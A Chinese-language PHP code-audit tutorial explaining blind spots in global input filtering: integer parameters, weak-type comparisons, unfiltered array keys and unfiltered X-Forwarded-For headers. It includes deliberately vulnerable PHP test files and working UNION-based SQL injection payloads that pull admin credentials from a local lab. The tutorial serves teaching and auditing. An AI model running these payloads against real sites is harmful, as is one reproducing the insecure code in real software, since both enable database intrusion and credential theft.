0x00 前言
白帽子分享之代码审计的艺术系列(二、三、四)是对绕过全局防护的场景进行的总结。接下来两篇介绍全局防护存在的盲点。首先是上篇,盲点如下:
1)注入点类似id=1
这种整型的参数就会完全无视GPC
的过滤;
2)注入点包含键值对的,那么这里只检测了value
,对key
的过滤就没有防护;
3)有时候全局的过滤只过滤掉GET
、POST
和COOKIE
,但是没过滤SERVER
等变量。附常见的SERVER
变量(具体含义自行百度):
QUERY_STRING
X_FORWARDED_FOR
CLIENT_IP
HTTP_HOST
ACCEPT_LANGUAGE
0x01 准备
知识储备:php
基础、MySQL
入门
工具:notepad++
服务器环境:wamp
测试代码:
common.php
:
<?php
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE = addslashes_deep($_COOKIE);
}
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
else
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
}
return $value;
}
}
//获取访问者IP(PHP代码/函数)
function get_ip(){
if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
$ip=getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
$ip=getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
$ip=getenv("REMOTE_ADDR");
}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){
$ip=$_SERVER['REMOTE_ADDR'];
}else{
$ip="unknown" ;
}
return $ip;
}
?>
0x02 全局防护盲点总结上篇的脑图
0x03 数字型注入
完全无视GPC
的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。
1.传入的参数未做intval转换、构造的sql语句没有单引号保护
缺陷代码:
int1.php
:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
这种数字型的注入是全局防护的盲点,构造注入语句完全不需要单引号的支持,所以也就不存在转义了。例如我们直接构造获取管理员账户密码的POC
:
http://localhost/sqltest/mangdian/int1.php?id=-1 union select 1,2,concat(name,0x23,pass) from admin%23
2.php弱类型语言,判断逻辑错误引发注入
缺陷代码:
int2.php
:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
if($id<1){
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
当然前提是数字型的注入,这里特殊之处在于增加了个if($id<1)
的逻辑判断,但PHP
弱类型语言在逻辑判断上0<1
和0 union select 1<1
是等价的,都返回True
。所以构造获取管理员账户密码的POC
:
http://localhost/sqltest/mangdian/int2.php?id=0 union select 1,2,concat(name,0x23,pass) from admin%23
3.过程中不全是数字型,忘记加单引号
这种情况是在第一条sql
语句里是有单引号保护的,紧接着第二条sql
语句没有单引号保护引发的注入,缺陷的代码如下:
int1.php
:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
$sql = "SELECT * FROM news WHERE id='".$id."'";
$result = mysql_query($sql, $conn) or die(mysql_error());
$sql2 = "SELECT * FROM news WHERE id=".$id;
$result2 = mysql_query($sql2, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result2, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
第一条sql
语句有单引号保护,第二条sql
语句没有了单引号保护从而可以进一步注入。构造获取管理员账户密码的POC
:
http://localhost/sqltest/mangdian/int3.php?id=0 union select 1,2,concat(name,0x23,pass) from admin%23
0x04 数组类型,全局防护只过滤了value/key,未过滤代入查询
全局防护的代码只对数组中的vaule
进行了过滤,key
未过滤引发注入,全局防护缺陷代码如下:
commonnew.php
:
<?php
if (!empty($_GET))
{
$_GET=Add_S($_GET);
}
if (!empty($_POST))
{
$_POST=Add_S($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE=Add_S($_COOKIE);
}
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
可以看到,对GET
、POST
和COOKIE
传递的数组参数只过滤了value
,忽视了key
,漏洞代码如下:
array.php
:
<?php
require_once('commonnew.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$title = isset($_POST['title']) ? $_POST['title']: 1;
foreach($title as $key=>$value){
$sql = "SELECT * FROM news WHERE id='".$key."' and title='".$value."'";
$result = mysql_query($sql, $conn) or die(mysql_error());
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
虽然查询语句中WHERE id='".$key."'
有单引号保护,但是全局防护代码就没过滤key
就存在注入了,首先POST
请求下:
http://localhost/sqltest/mangdian/array.php title[1]=news title
发现可以获取正常内容:
sql
语句为:
SELECT * FROM news WHERE id='1' and title='news title'
构造获取管理员账户密码的POST
请求:
http://localhost/sqltest/mangdian/array title[-1’ union select 1,2,concat(name,0x23,pass) from admin#]=news title
0x05 SERVER变量未过滤
上面的全局防护只过滤了GET
、POST
和COOKIE
而忽略了SERVER
变量,SERVER
变量的注入常常发生在获取用户ip
并入库的函数上,类似如下代码(在common.php
中):
//获取访问者IP(PHP代码/函数)
function get_ip(){
if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
$ip=getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
$ip=getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
$ip=getenv("REMOTE_ADDR");
}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){
$ip=$_SERVER['REMOTE_ADDR'];
}else{
$ip="unknown" ;
}
return $ip;
}
通过$_SERVER
变量获取客户端ip
且可以通过X_FORWARDED_FOR
伪造,然后这里对X_FORWARDED_FOR
是没有任何正则处理的,所以可以构造注入语句,缺陷代码如下:
ip.php
:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = get_ip();
$sql = "SELECT * FROM news WHERE id='".$id."'";;
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
这里可以在请求中添加获取管理员账户密码的POC
为:
X-Forwarded-For:-1’ union select 1,2,concat(name,0x23,pass) from admin#
由于SERVER
变量没过滤所以这里单引号保护也就没用了。成功获取管理员账户密码如下:
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章